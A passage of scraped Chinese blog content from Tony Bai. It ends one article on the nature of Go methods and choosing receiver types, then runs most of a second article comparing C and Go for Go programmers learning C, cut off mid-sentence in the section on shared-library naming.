同理，可以推出：不能横跨Go包为其他包内的自定义类型定义方法。\n3）每个方法只能有一个receiver参数，不支持多receiver参数列表或变长receiver参数。一个方法只能绑定一个基类型，Go语言不支持同时绑定多个类型的方法。\n4）receiver参数的基类型本身不能是指针类型或接口类型，下面的示例展示了这点：\ntype MyInt *int func (r MyInt) String() string { // 编译器错误：invalid receiver type MyInt (MyInt is a pointer type) return fmt.Sprintf(\u0026quot;%d\u0026quot;, *(*int)(r)) } type MyReader io.Reader func (r MyReader) Read(p []byte) (int, error) { // 编译器错误：invalid receiver type MyReader (MyReader is an interface type) return r.Read(p) } 和其他主流编程语言相比，Go语言从函数到方法仅仅多出了一个receiver，这大大降低了Gopher们学习方法的门槛。但即便如此，Gopher们在把握方法本质以及如何选择receiver的类型时仍存在困惑，本节我就针对这些困惑做重点的说明。\n2. 方法的本质 前面提到过：Go语言没有类，方法与类型通过receiver联系在一起，我们可以为任何非内置原生类型定义方法，比如下面的类型T：\ntype T struct { a int } func (t T) Get() int { return t.a } func (t *T) Set(a int) int { t.a = a return t.a } C++的对象在调用方法时，编译器会自动传入指向对象自身的this指针作为方法的第一个参数。而对于Go来说，receiver其实也是同样道理，我们将receiver作为第一个参数传入方法的参数列表，上面示例中的类型T的方法就可以等价转换为下面的普通函数：\nfunc Get(t T) int { return t.a } func Set(t *T, a int) int { t.a = a return t.a } 这种转换后的函数就是方法的原型。只不过在Go语言中，这种等价转换是由Go编译器在编译和生成代码时自动完成的。Go语言规范中提供了一个新概念，可以让我们更充分地理解上面的等价转换。\nGo方法的一般使用方式如下：\nvar t T t.Get() t.Set(1) 我们可以将上面方法调用用下面的方式做等价替换：\nvar t T T.Get(t) (*T).Set(\u0026amp;t, 1) 这种直接以类型名T调用方法的表达方式被称为方法表达式(Method Expression)。类型T只能调用T的方法集合（Method Set）中的方法；同理*T只能调用*T的方法集合中的方法（关于方法集合，我们会在下一节中做详细讲解）。我们看到：方法表达式有些类似于C++中的类的静态方法，静态方法在使用时以该C++类的某个对象实例作为第一个参数。而Go语言的方法表达式（Method Expression）在使用时，同样以receiver参数所代表的实例作为第一个参数。\n这种通过方法表达式对方法进行调用的方式与我们之前所做的方法到函数的等价转换如出一辙。这就是Go方法的本质：一个以方法所绑定类型实例为第一个参数的普通函数。\n方法表达式体现了Go方法的本质：其自身的类型就是一个普通函数。我们甚至可以将其作为右值赋值给一个函数类型的变量：\nvar t T f1 := (*T).Set // f1的类型，也是T类型Set方法的原型：func (t *T, int)int f2 := T.Get // f2的类型，也是T类型Get方法的原型：func(t T)int f1(\u0026amp;t, 3) fmt.Println(f2(t)) 3. 正确选择receiver参数类型 有了上面对Go方法本质的分析，我们再来理解receiver并在定义方法时选择正确的receiver类型就简单多了。我们再来看一下方法和函数的“等价变换公式”：\nfunc (t T) M1() \u0026lt;=\u0026gt; M1(t T) func (t *T) M2() \u0026lt;=\u0026gt; M2(t *T) 我们看到：M1方法的receiver参数类型为T，而M2方法的receiver参数类型为*T。\n1）当receiver参数的类型为T时，即选择值类型的receiver\n我们选择以T作为receiver参数类型时，T的M1方法等价为M1(t T)。我们知道Go函数的参数采用的是值拷贝传递，也就是说M1函数体中的t是T类型实例的一个副本，这样M1函数的实现中无论对参数t做任何修改都只会影响副本，而不会影响到原T类型实例。\n2）当receiver参数的类型为*T时，即选择指针类型的receiver\n我们选择以*T作为receiver参数类型时，T的M2方法等价为M2(t *T)。我们传递给M2函数的t是T类型实例的地址，这样M2函数体中对参数t做的任何修改都会反映到原T类型实例。\n我们以下面的例子演示一下选择不同的receiver类型对原类型实例的影响：\n// chapter4/sources/method_nature_1.go type T struct { a int } func (t T) M1() { t.a = 10 } func (t *T) M2() { t.a = 11 } func main() { var t T // t.a = 0 println(t.a) t.M1() println(t.a) t.M2() println(t.a) } 运行该程序：\n$ go run method_nature_1.go 0 0 11 在该示例中，M1和M2方法体内都对字段a做了修改，但M1（采用值类型receiver）修改的只是实例的副本，对原实例并没有影响，因此M1调用后，输出t.a的值仍为0；而M2（采用指针类型receiver）修改的是实例本身，因此M2调用后，t.a的值变为了11。\n很多Go初学者还有这样的疑惑：是不是T类型实例只能调用receiver为T类型的方法，不能调用receiver为*T类型的方法呢？答案是否定的。无论是T类型实例，还是*T类型实例，都既可以调用receiver为T类型的方法，也可以调用receiver为*T类型的方法。下面例子证明了这一点：\n// chapter4/sources/method_nature_2.go package main type T struct { a int } func (t T) M1() { } func (t *T) M2() { t.a = 11 } func main() { var t T t.M1() // ok t.M2() // \u0026lt;=\u0026gt; (\u0026amp;t).M2() var pt = \u0026amp;T{} pt.M1() // \u0026lt;=\u0026gt; (*pt).M1() pt.M2() // ok } 通过例子我们看到T类型实例t调用receiver类型为*T的M2方法是没问题的，同样*T类型实例pt调用receiver类型为T的M1方法也是可以的。实际上这都是Go语法糖，Go编译器在编译和生成代码时为我们自动做了转换。\n到这里，我们可以得出receiver类型选用的初步结论：\n如果要对类型实例进行修改，那么为receiver选择*T类型； 如果没有对类型实例修改的需求，那么为receiver选择T类型或*T类型均可；但考虑到Go方法调用时，receiver是以值拷贝的形式传入方法中的。如果类型size较大，以值形式传入会导致较大损耗，这时选择*T作为receiver类型会更好些。 对于receiver的类型的选择其实还有一个重要因素，那就是类型是否要实现某个interface，我们继续往下看。\nGo语言的一个创新就是自定义类型与接口之间的实现关系是松耦合的：如果某个自定义类型T的方法集合是某个interface类型的方法集合的超集，那么就说类型T实现了该接口，并且类型T的变量可以被赋值给该接口类型的变量了，即我们说的方法集合决定接口实现。\n**方法集合（Method Set）**是Go语言中一个重要的概念，在为接口类型变量赋值、使用结构体嵌入/接口嵌入、类型别名（type alias）和方法表达式（method expression）等时都会用到方法集合，它像“胶水”一样将自定义类型与接口隐式地粘结在一起。\n要判断一个自定义类型是否实现了某接口类型，我们首先要识别出自定义类型的方法集合以及接口类型的方法集合。但有些时候它们并非那么明显，尤其是当存在结构体嵌入、接口嵌入和类型别名时。\n这里我们实现了一个工具函数可以方便输出一个自定义类型或接口类型的方法集合。\n// chapter4/sources/method_set_utils.go func DumpMethodSet(i interface{}) { v := reflect.TypeOf(i) elemTyp := v.Elem() n := elemTyp.NumMethod() if n == 0 { fmt.Printf(\u0026quot;%s's method set is empty!\\n\u0026quot;, elemTyp) return } fmt.Printf(\u0026quot;%s's method set:\\n\u0026quot;, elemTyp) for j := 0; j \u0026lt; n; j++ { fmt.Println(\u0026quot;-\u0026quot;, elemTyp.Method(j).Name) } fmt.Printf(\u0026quot;\\n\u0026quot;) } 接下来，我们就用该工具函数输出一下本节开头那个示例中的接口类型和自定义类型的方法集合：\n// chapter4/sources/method_set_2.go type Interface interface { M1() M2() } type T struct{} func (t T) M1() {} func (t *T) M2() {} func main() { var t T var pt *T DumpMethodSet(\u0026amp;t) DumpMethodSet(\u0026amp;pt) DumpMethodSet((*Interface)(nil)) } 运行上述代码：\n$ go run method_set_2.go method_set_utils.go main.T's method set: - M1 *main.T's method set: - M1 - M2 main.Interface's method set: - M1 - M2 在上述输出结果中，T、*T和Interface各自的方法集合一目了然。我们看到T类型的方法集合中只包含M1，无法成为Interface类型的方法集合的超集，因此这就是开篇例子中编译器认为变量t不能赋值给Interface类型变量的原因。在输出的结果中，我们还看到*T类型的方法集合为[M1, M2]。*T类型没有直接实现M1，但M1仍出现在*T类型的方法集合中了。这符合Go语言规范中的说法：对于非接口类型的自定义类型T，其方法集合为所有receiver为T类型的方法组成；而类型*T的方法集合则包含所有receiver为T和*T类型的方法。也正因为如此，pt才能成功赋值给Interface类型变量。\n到这里，我们完全明确了为receiver选择类型时需要考虑的第三点因素：是否支持将T类型实例赋值给某个接口类型变量。如果需要支持，我们就要实现receiver为T类型的接口类型方法集合中的所有方法。\n4. 小结 本文详细介绍了Go语言方法的定义与使用注意实现，并通过实例告诉大家Go方法的本质以及receiver参数的类型选择的三点原则，牢记这三点原则，方法的receiver就再也不会困扰到你了。如果您想要了解更多有关Go语言编程方面的精华内容，推荐您详细阅读我的新作《Go语言精进之路：从新手到高手的编程思想、方法与技巧》。\n本文涉及的源码可以在这里下载 – https://github.com/bigwhite/GoProgrammingFromBeginnerToMaster。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/05/17/understand-the-nature-of-go-method-and-how-to-choose-the-correct-receiver-type/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/understand-the-nature-of-go-method-and-how-to-choose-the-correct-receiver-type-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/05/17/understand-the-nature-of-go-method-and-how-to-choose-the-correct-receiver-type\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/05/17/understand-the-nature-of-go-method-and-how-to-choose-the-correct-receiver-type\"\u003ehttps://tonybai.com/2022/05/17/understand-the-nature-of-go-method-and-how-to-choose-the-correct-receiver-type\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eGo语言虽然不支持经典的面向对象语法元素，比如：类、对象、继承等，但Go语言也有方法（method）。和函数相比，Go语言中的方法在声明形式上仅仅多了一个参数，Go称之为\u003cstrong\u003ereceiver参数\u003c/strong\u003e，而receiver参数正是方法与类型之间的纽带。\u003c/p\u003e","title":"绞尽脑汁，帮你理解方法本质并选择正确的receiver类型"},{"content":"\n本文永久链接 – https://tonybai.com/2022/05/16/the-short-guide-of-embracing-c-lang-for-gopher\n本文是为于航老师的极客时间专栏《深入C语言和程序运行原理》写的加餐文章《Tony Bai：Go程序员拥抱C语言简明指南》，这里分享给大家，尤其是那些想学习C语言的Gopher们。\n你好，我是Tony Bai。\n也许有同学对我比较熟悉，看过我在极客时间上的专栏《Tony Bai ·Go语言第一课》，或者是关注了我的博客。那么，作为一个Gopher，我怎么跑到这个C语言专栏做分享了呢？其实，在学习Go语言并成为一名Go程序员之前，我也曾是一名地地道道的C语言程序员。\n大学毕业后，我就开始从事C语言后端服务开发工作，在电信增值领域摸爬滚打了十多年。不信的话，你可以去翻翻我的博客，数一数我发的C语言相关文章是不是比关于Go的还多。一直到近几年，我才将工作中的主力语言从C切换到了Go。不过这并不是C语言的问题，主要原因是我转换赛道了。我目前在智能网联汽车领域从事面向云原生平台的先行研发，而在云原生方面，新生代的Go语言有着更好的生态。\n不过作为资深C程序员，C语言已经在我身上打下了深深的烙印。虽然Go是我现在工作中的主力语言，但我仍然会每天阅读一些C开源项目的源码，每周还会写下数百行的C代码。在一些工作场景中，特别是在我参与先行研发一些车端中间件时，C语言有着资源占用小、性能高的优势，这一点是Go目前还无法匹敌的。\n正因为我有着C程序员和Go程序员的双重身份，接到这个加餐邀请时，我就想到了一个很适合聊的话题——在 Gopher（泛指Go程序员）与C语言之间“牵线搭桥”。在这门课的评论区里，我看到一些同学说，“正是因为学了Go，所以我想学好C”。如果你也对Go比较熟悉，那么恭喜你，这篇加餐简直是为你量身定制的：一个熟悉Go的程序员在学习C时需要注意的问题，还有可能会遇到的坑，我都替你总结好了。\n**当然，我知道还有一些对Go了解不多的同学，看到这里也别急着退出去。**因为C和Go这两门语言的比较，本身就是一个很有意思的话题。今天的加餐，会涉及这两门语言的异同点，通过对C与Go语言特性的比较，你就能更好地理解“C 语言为什么设计成现在这样”。\n一. C语言是现代IT工业的根基 在比较C和Go之前，先说说我推荐Gopher学C的最重要原因吧：用一句话总结，C语言在IT工业中的根基地位，是Go和其他语言目前都无法动摇的。\nC语言是由美国贝尔实验室的丹尼斯·里奇（Dennis Ritchie）以Unix发明人肯·汤普森（Ken Thompson）设计的B语言为基础而创建的高级编程语言。诞生于上个世纪（精确来说是1972年）的它，到今年（2022年）已到了“知天命”的半百年纪。 年纪大、设计久远一直是“C语言过时论”兴起的根源，但如果你相信这一论断，那就大错特错了。下面，我来为你分析下个中缘由。\n首先，我们说说C语言本身：C语言一直在演进，从未停下过脚步。\n虽然C语言之父丹尼斯·里奇不幸于2011年永远地离开了我们，但C语言早已成为ANSI（美国国家标准学会）标准以及ISO/IEC（国际标准化组织和国际电工委员会）标准，因此其演进也早已由标准委员会负责。我们来简单回顾一下C语言标准的演进过程：\n1989年，ANSI发布了首个C语言标准，被称为C89，又称ANSI C。次年，ISO和IEC把ANSI C89标准定为C语言的国际标准（ISO/IEC 9899:1990），又称C90，它也是C语言的第一个官方版本； 1999年，ISO和IEC发布了C99标准(ISO/IEC 9899:1999)，它是C语言的第二个官方版本； 2011年，ISO和IEC发布了C11标准(ISO/IEC 9899:2011)，它是C语言的第三个官方版本； 2018年，ISO和IEC发布了C18标准(ISO/IEC 9899:2018)，它是C语言的第四个官方版本。\n目前，ISO/IEC标准化委员会正在致力于C2x标准的改进与制定，预计它会在2023年发布。 其次，时至今日，C语言的流行度仍然非常高。\n著名编程语言排行榜TIOBE的数据显示，各大编程语言年度平均排名的总位次，C语言多年来高居第一，如下图（图片来自TIOBE）所示：\n这说明，无论是在过去还是现在，C语言都是一门被广泛应用的工业级编程语言。\n最后，也是最重要的一点是：C语言是现代IT工业的根基，我们说C永远不会退出IT行业舞台也不为过。\n如今，无论是普通消费者端的Windows、macOS、Android、苹果iOS，还是服务器端的Linux、Unix等操作系统，亦或是各个工业嵌入式领域的操作系统，其内核实现语言都是C语言。互联网时代所使用的主流Web服务器，比如 Nginx、Apache，以及主流数据库，比如MySQL、Oracle、PostgreSQL等，也都是使用C语言开发的杰作。可以说，现代人类每天都在跟由C语言实现的系统亲密接触，并且已经离不开这些系统了。回到我们程序员的日常，Git、SVN等我们时刻在用的源码版本控制软件也都是由C语言实现的。\n可以说，C语言在IT工业中的根基地位，不光Go语言替代不了，C++、Rust等系统编程语言也无法动摇，而且不仅短期如此，长期来看也是如此。\n总之，C语言具有紧凑、高效、移植性好、对内存的精细控制等优秀特性，这使得我们在任何时候学习它都不会过时。不过，我在这里推荐Gopher去了解和系统学习C语言，其实还有另一个原因。我们继续往下看。\n二. C与Go的相通之处：Gopher拥抱C语言的“先天优势” 众所周知，Go 是在C语言的基础上衍生而来的，二者之间有很多相通之处，因此 Gopher 在学习C语言时是有“先天优势”的。接下来，我们具体看看C和Go的相通之处有哪些。\n1. 简单且语法同源 Go语言以简单著称，而作为Go先祖的C语言，入门门槛同样不高：Go有25个关键字，C有32个关键字（C89标准），简洁程度在伯仲之间。C语言曾长期作为高校计算机编程教育的首选编程语言，这与C的简单也不无关系。\n和Go不同的是，C语言是一个小内核、大外延的编程语言，其简单主要体现在小内核上了。这个“小内核”包括C基本语法与其标准库，我们可以快速掌握它。但需要注意的是，与Go语言“开箱即用、内容丰富”的标准库不同，C标准库非常小（在C11标准之前甚至连thread库都不包含），所以掌握“小内核”后，在LeetCode平台上刷题是没有任何问题的，但要写出某一领域的工业级生产程序，我们还有很多外延知识技能要学习，比如并发原语、操作系统的系统调用，以及进程间通信等。\nC语言的这种简单很容易获得Gopher们的认同感。当年Go语言之父们在设计Go语言时，也是主要借鉴了C语言的语法。当然，这与他们深厚的C语言背景不无关系：肯·汤普森（Ken Thompson）是Unix之父，与丹尼斯·里奇共同设计了C语言；罗博·派克（Rob Pike）是贝尔实验室的资深研究员，参与了Unix系统的演进、Plan9操作系统的开发，还是UTF-8编码的发明人；罗伯特·格瑞史莫（Robert Griesemer）也是用C语言手写Java虚拟机的大神级人物。\nGo的第一版编译器就是由肯·汤普森（Ken Thompson）用C语言实现的。并且，Go语言的早期版本中，C代码的比例还不小。以Go语言发布的第一个版本，Go 1.0版本为例，我们通过loccount工具对其进行分析，会得到下面的结果：\n$loccount . all SLOC=460992 (100.00%) LLOC=193045 in 2746 files Go SLOC=256321 (55.60%) LLOC=109763 in 1983 files C SLOC=148001 (32.10%) LLOC=73458 in 368 files HTML SLOC=25080 (5.44%) LLOC=0 in 57 files asm SLOC=10109 (2.19%) LLOC=0 in 133 files ... ... 这里我们看到，在1.0版本中，C语言代码行数占据了32.10%的份额，这一份额直至Go 1.5版本实现自举后，才下降为不到1%。\n我当初对Go“一见钟情”，其中一个主要原因就是Go与C语言的**语法同源。**相对应地，相信这种同源的语法也会让Gopher们喜欢上C语言。\n2. 静态编译且基础范式相同 除了语法同源，C语言与Go语言的另一个相同点是，它们都是静态编译型语言。这意味着它们都有如下的语法特性：\n变量与函数都要先声明后才能使用； 所有分配的内存块都要有对应的类型信息，并且在确定其类型信息后才能操作； 源码需要先编译链接后才能运行。 相似的编程逻辑与构建过程，让学习C语言的Gopher可以做到无缝衔接。\n除此之外，Go 和C的基础编程范式都是命令式编程（imperative programming），即面向算法过程，由程序员通过编程告诉计算机应采取的动作。然后，计算机按程序指令执行一系列流程，生成特定的结果，就像菜谱指定了厨师做蛋糕时应遵循的一系列步骤一样。\n从Go看 C，没有面向对象，没有函数式编程，没有泛型（Go 1.18已加入），满眼都是类型与函数，可以说是相当亲切了。\n3. 错误处理机制如出一辙 对于后端编程语言来说，错误处理机制十分重要。如果两种语言的错误处理机制不同，那么这两种语言的代码整体语法风格很可能大不相同。\n在C语言中，我们通常用一个类型为整型的函数返回值作为错误状态标识，函数调用者基于值比较的方式，对这一代表错误状态的返回值进行检视。通常，当这个返回值为0时，代表函数调用成功；当这个返回值为其他值时，代表函数调用出现错误。函数调用者需根据该返回值所代表的错误状态，来决定后续执行哪条错误处理路径上的代码。\nC语言这种简单的基于错误值比较的错误处理机制，让每个开发人员必须显式地去关注和处理每个错误。经过显式错误处理的代码会更为健壮，也会让开发人员对这些代码更有信心。另外，这些错误就是普通的值，我们不需要额外的语言机制去处理它们，只需利用已有的语言机制，像处理其他普通类型值那样去处理错误就可以了。这让代码更容易调试，我们也更容易针对每个错误处理的决策分支进行测试覆盖。\nC语言错误处理机制的这种简单与显式，跟Go语言的设计哲学十分契合，于是Go语言设计者决定继承这种错误处理机制。因此，当Gopher们来到C语言的世界时，无需对自己的错误处理思维做出很大的改变，就可以很容易地适应C语言的风格。\n三. 知己知彼，来看看C与Go的差异 虽说 Gopher 学习C语言有“先天优势”，但是不经过脚踏实地的学习与实践就想掌握和精通C语言，也是不可能的。而且，C 和Go还是有很大差异的，Gopher 们只有清楚这些差异，做到“知己知彼”，才能在学习过程中分清轻重，有的放矢。俗话说，“磨刀不误砍柴功”，下面我们就一起看看C与Go有哪些不同。\n1. 设计哲学 在人类自然语言学界，有一个很著名的假说——“萨丕尔-沃夫假说”。这个假说的内容是这样的：语言影响或决定人类的思维方式。对我来说，编程语言也不仅仅是一门工具，它还影响着程序员的思维方式。每次开始学习一门新的编程语言时，我都会先了解这门编程语言的设计哲学。\n每种编程语言都有自己的设计哲学，即便这门语言的设计者没有将其显式地总结出来，它也真真切切地存在，并影响着这门语言的后续演进，以及这门语言程序员的思维方式。我在《Tony Bai · Go语言第一课》专栏里，将Go语言的设计哲学总结成了5点，分别是简单、显式、组合、并发和面向工程。\n那么C语言的设计哲学又是什么呢？从表面上看，简单紧凑、性能至上、极致资源、全面移植，这些都可以作为C的设计哲学，但我倾向于一种更有人文气息的说法：满足和相信程序员。\n在这样的设计哲学下，一方面，C语言提供了几乎所有可以帮助程序员表达自己意图的语法手段，比如宏、指针与指针运算、位操作、pragma指示符、goto语句，以及跳转能力更为强大的longjmp等；另一方面，C语言对程序员的行为并没有做特别严格的限定与约束，C程序员可以利用语言提供的这些语法手段，进行天马行空的发挥：访问硬件、利用指针访问内存中的任一字节、操控任意字节中的每个位（bit）等。总之，C语言假定程序员知道他们在做什么，并选择相信程序员。\nC语言给了程序员足够的自由，可以说，在C语言世界，你几乎可以“为所欲为”。但这种哲学也是有代价的，那就是你可能会犯一些莫名其妙的错误，比如悬挂指针，而这些错误很少或不可能在其他语言中出现。\n这里再用一个比喻来更为形象地表达下：从Go世界到C世界，就好比在动物园中饲养已久的动物被放归到野生自然保护区，有了更多自由，但周围也暗藏着很多未曾遇到过的危险。因此，学习C语言的Gopher们要有足够的心理准备。\n2. 内存管理 接下来我们来看C与Go在内存管理方面的不同。我把这一点放在第二位，是因为这两种语言在内存管理上有很大的差异，而且这一差异会给程序员的日常编码带来巨大影响。\n我们知道，Go是带有垃圾回收机制（俗称GC）的静态编程语言。使用Go编程时，内存申请与释放，在栈上还是在堆上分配，以及新内存块的清零等等，这一切都是自动的，且对程序员透明。\n但在C语言中，上面说的这些都是程序员的责任。手工内存管理在带来灵活性的同时，也带来了极大的风险，其中最常见的就是内存泄露（memory leak）与悬挂指针（dangling pointer）问题。\n内存泄露主要指的是程序员手工在堆上分配的内存在使用后没有被释放（free），进而导致的堆内存持续增加。而悬挂指针的意思是指针指向了非法的内存地址，未初始化的指针、指针所指对象已经被释放等，都是导致悬挂指针的主要原因。针对悬挂指针进行解引用（dereference）操作将会导致运行时错误，从而导致程序异常退出的严重后果。\nGo语言带有GC，而C语言不带GC，这都是由各自语言设计哲学所决定的。GC是不符合C语言的设计哲学的，因为一旦有了GC，程序员就远离了机器，程序员直面机器的需求就无法得到满足了。并且，一旦有了GC，无论是在性能上还是在资源占用上，都不可能做到极致了。\n在C中，手工管理内存到底是一种什么感觉呢？作为一名有着十多年C开发经验的资深C程序员，我只能告诉你：与内存斗，其乐无穷！这是在带GC的编程语言中无法体会到的。\n3. 语法形式 虽然C语言是Go的先祖，并且Go也继承了很多C语言的语法元素，但在变量/函数声明、行尾分号、代码块是否用括号括起、标识符作用域，以及控制语句语义等方面，二者仍有较大差异。因此，对Go已经很熟悉的程序员在初学C时，受之前编码习惯的影响，往往会踩一些“坑”。基于此，我总结了Gopher学习C语言时需要特别注意的几点，接下来我们具体看看。\n第一，注意声明变量时类型与变量名的顺序\n前面说过，Go与C都是静态编译型语言，这就要求我们在使用任何变量之前，需要先声明这个变量。但Go采用的变量声明语法颇似Pascal语言，即变量名在前，变量类型在后，这与C语言恰好相反，如下所示：\nGo: var a, b int var p, q *int vs. C： int a, b; int *p, *q; 此外，Go支持短变量声明，并且由于短变量声明更短小，无需显式提供变量类型，Go编译器会根据赋值操作符后面的初始化表达式的结果，自动为变量赋予适当类型。因此，它成为了Gopher们喜爱和重度使用的语法。但短声明在C中却不是合法的语法元素：\nint main() { a := 5; // error: expected expression printf(\u0026quot;a = %d\\n\u0026quot;, a); } 不过，和上面的变量类型与变量名声明的顺序问题一样，C编译器会发现并告知我们这个问题，并不会给程序带来实质性的伤害。\n第二，注意函数声明无需关键字前缀\n无论是C语言还是Go语言，函数都是基本功能逻辑单元，我们也可以说C程序就是一组函数的集合。实际上，我们日常的C代码编写大多集中在实现某个函数上。\n和变量一样，函数在两种语言中都需要先声明才能使用。Go语言使用func关键字作为函数声明的前缀，并且函数返回值列表放在函数声明的最后。但在C语言中，函数声明无需任何关键字作为前缀，函数只支持单一返回值，并且返回值类型放在函数名的前面，如下所示：\nGo： func Add(a, b int) int { return a+b } vs. C： int Add(int a, int b) { return a+b; } 第三，记得加上代码行结尾的分号\n我们日常编写Go代码时，极少手写分号。这是因为，Go设计者当初为了简化代码编写，提高代码可读性，选择了由编译器在词法分析阶段自动在适当位置插入分号的技术路线。如果你是一个被Go编译器惯坏了的Gopher，来到C语言的世界后，一定不要忘记代码行尾的分号。比如上面例子中的C语言Add函数实现，在return语句后面记得要手动加上分号。\n第四，补上“省略”的括号\n同样是出于简化代码、增加可读性的考虑，Go设计者最初就取消掉了条件分支语句（if）、选择分支语句（switch）和循环控制语句（for）中条件表达式外围的小括号：\n// Go代码 func f() int { return 5 } func main() { a := 1 if a == 1 { // 无需小括号包裹条件表达式 fmt.Println(a) } switch b := f(); b { // 无需小括号包裹条件表达式 case 4: fmt.Println(\u0026quot;b = 4\u0026quot;) case 5: fmt.Println(\u0026quot;b = 5\u0026quot;) default: fmt.Println(\u0026quot;b = n/a\u0026quot;) } for i := 1; i \u0026lt; 10; i++ { // 无需小括号包裹循环语句的循环表达式 a += i } fmt.Println(a) } 这一点恰恰与C语言“背道而驰”。因此，我们在使用C语言编写代码时，务必要想着补上这些括号：\n// C代码 int f() { return 5; } int main() { int a = 1; if (a == 1) { // 需用小括号包裹条件表达式 printf(\u0026quot;%d\\n\u0026quot;, a); } int b = f(); switch (b) { // 需用小括号包裹条件表达式 case 4: printf(\u0026quot;b = 4\\n\u0026quot;); break; case 5: printf(\u0026quot;b = 5\\n\u0026quot;); break; default: printf(\u0026quot;b = n/a\\n\u0026quot;); } int i = 0; for (i = 1; i \u0026lt; 10; i++) { // 需用小括号包裹循环语句的循环表达式 a += i; } printf(\u0026quot;%d\\n\u0026quot;, a); } 第五，留意C与Go导出符号的不同机制\nC语言通过头文件来声明对外可见的符号，所以我们不用管符号是不是首字母大写的。但在Go中，只有首字母大写的包级变量、常量、类型、函数、方法才是可导出的，即对外部包可见。反之，首字母小写的则为包私有的，仅在包内使用。Gopher一旦习惯了这样的规则，在切换到C语言时，就会产生“心理后遗症”：遇到在其他头文件中定义的首字母小写的函数时，总以为不能直接使用。\n第六，记得在switch case语句中添加break\nC 语言与Go语言在选择分支语句的语义方面有所不同：C语言的 case 语句中，如果没有显式加入break语句，那么代码将向下自动掉落执行。而Go在最初设计时就重新规定了switch case的语义，默认不自动掉落（fallthrough），除非开发者显式使用fallthrough关键字。\n适应了Go的switch case语句的语义后再回来写C代码，就会存在潜在的“风险”。我们来看一个例子：\n// C代码： int main() { int a = 1; switch(a) { case 1:printf(\u0026quot;a = 1\\n\u0026quot;); case 2:printf(\u0026quot;a = 2\\n\u0026quot;); case 3:printf(\u0026quot;a = 3\\n\u0026quot;); default:printf(\u0026quot;a = ?\\n\u0026quot;); } } 这段代码是按Go语义编写的switch case，编译运行后得到的结果如下：\na = 1 a = 2 a = 3 a = ? 这显然不符合我们输出“a = 1”的预期。对于初学C的Gopher而言，这个问题影响还是蛮大的，因为这样编写的代码在C编译器眼中是完全合法的，但所代表的语义却完全不是开发人员想要的。这样的程序一旦流入到生产环境，其缺陷可能会引发生产故障。\n一些Clint 工具可以检测出这样的问题，因此对于写C代码的Gopher，我建议在提交代码前使用lint工具对代码做一下检查。\n4. 构建机制 Go与C都是静态编译型语言，它们的源码需要经过编译器和链接器处理，这个过程称为构建(build)，构建后得到的可执行文件才是最终交付给用户的成果物。\n和Go语言略有不同的是，C语言的构建还有一个预处理（pre-processing）阶段，预处理环节的输出才是C编译器的真正输入。C语言中的宏就是在预处理阶段展开的。不过，Go没有预处理阶段。\nC语言的编译单元是一个C源文件（.c），每个编译单元在编译过程中会对应生成一个目标文件（.o/.obj），最后链接器将这些目标文件链接在一起，形成可执行文件。\n而Go则是以一个包（package）为编译单元的，每个包内的源文件生成一个.o文件，一个包的所有.o文件聚合（archive）成一个.a文件，链接器将这些目标文件链接在一起形成可执行文件。\nGo语言提供了统一的Go命令行工具链，且Go编译器原生支持增量构建，源码构建过程不需要Gopher手工做什么配置。但在C语言的世界中，用于构建C程序的工具有很多，主流的包括gcc/clang，以及微软平台的C编译器。这些编译器原生不支持增量构建，为了提升工程级构建的效率，避免每次都进行全量构建，我们通常会使用第三方的构建管理工具，比如make（Makefile）或CMake。考虑移植性时，我们还会使用到configure文件，用于在目标机器上收集和设置编译器所需的环境信息。\n5. 依赖管理 我在前面提过，C语言仅提供了一个“小内核”。像依赖管理这类的事情，C语言本身并没有提供跟Go中的Go Module类似的，统一且相对完善的解决方案。在C语言的世界中，我们依然要靠外部工具（比如CMake）来管理第三方的依赖。\nC语言的第三方依赖通常以静态库（.a）或动态共享库（.so）的形式存在。如果你的应用要使用静态链接，那就必须在系统中为C编译器提供第三方依赖的静态库文件。但在实际工作中，完全采用静态链接有时是会遇到麻烦的。这是因为，很多操作系统在默认安装时是不带开发包的，也就是说，像 libc、libpthread 这样的系统库只提供了动态共享库版本（如/lib下提供了libc的共享库libc.so.6），其静态库版本是需要自行下载、编译和安装的（如libc的静态库libc.a在安装后是放在/usr/lib下面的)。所以多数情况下，我们是将****静态、动态****两种链接方式混合在一起使用的，比如像libc这样的系统库多采用动态链接。\n动态共享库通常是有版本的，并且按照一定规则安装到系统中。举个例子，一个名为libfoo的动态共享库，在安装的目录下文件集合通常是这样：\n2022-03-10 12:28 libfoo.so -\u0026gt; libfoo.so.0.0.0* 2022-03-10 12:28 libfoo.so.0 -\u0026gt; libfoo.so.0.0.0* 2022-03-10 12:28 libfoo.so.0.0.0* 按惯例，每个动态共享库都有多个名字属性，包括real name、soname和linker name。下面我们来分别看下。\nreal name：实际包含共享库代码的那个文件的名字(如上面例子中的libfoo.so.0.0.0)。动态共享库的真实版本信息就在real name中，显然real name中的版本号符合语义版本规范，即major.minor.patch。当两个版本的major号一致，说明是向后兼容的两个版本； soname：shared object name的缩写，也是这三个名字中最重要的一个。无论是在编译阶段还是在运行阶段，系统链接器都是通过动态共享库的soname（如上面例子中的libfoo.so.0）来唯一识别共享库的。我们看到的soname实际上是仅包含major号的共享库名字； linker name：编译阶段提供给编译器的名字（如上面例子中的libfoo.so）。如果你构建的共享库的real name跟上面例子中libfoo.so.0.0.0类似，带有版本号，那么你在编译器命令中直接使用-L path -lfoo是无法让链接器找到对应的共享库文件的，除非你为libfoo.so.0.0.0提供了一个linker name（如libfoo.so，一个指向libfoo.so.0.0.0的符号链接）。linker name一般在共享库安装时手工创建。\n动态共享库有了这三个名称属性，依赖管理就有了依据。但由于在链接的时候使用的是linker name，而linker 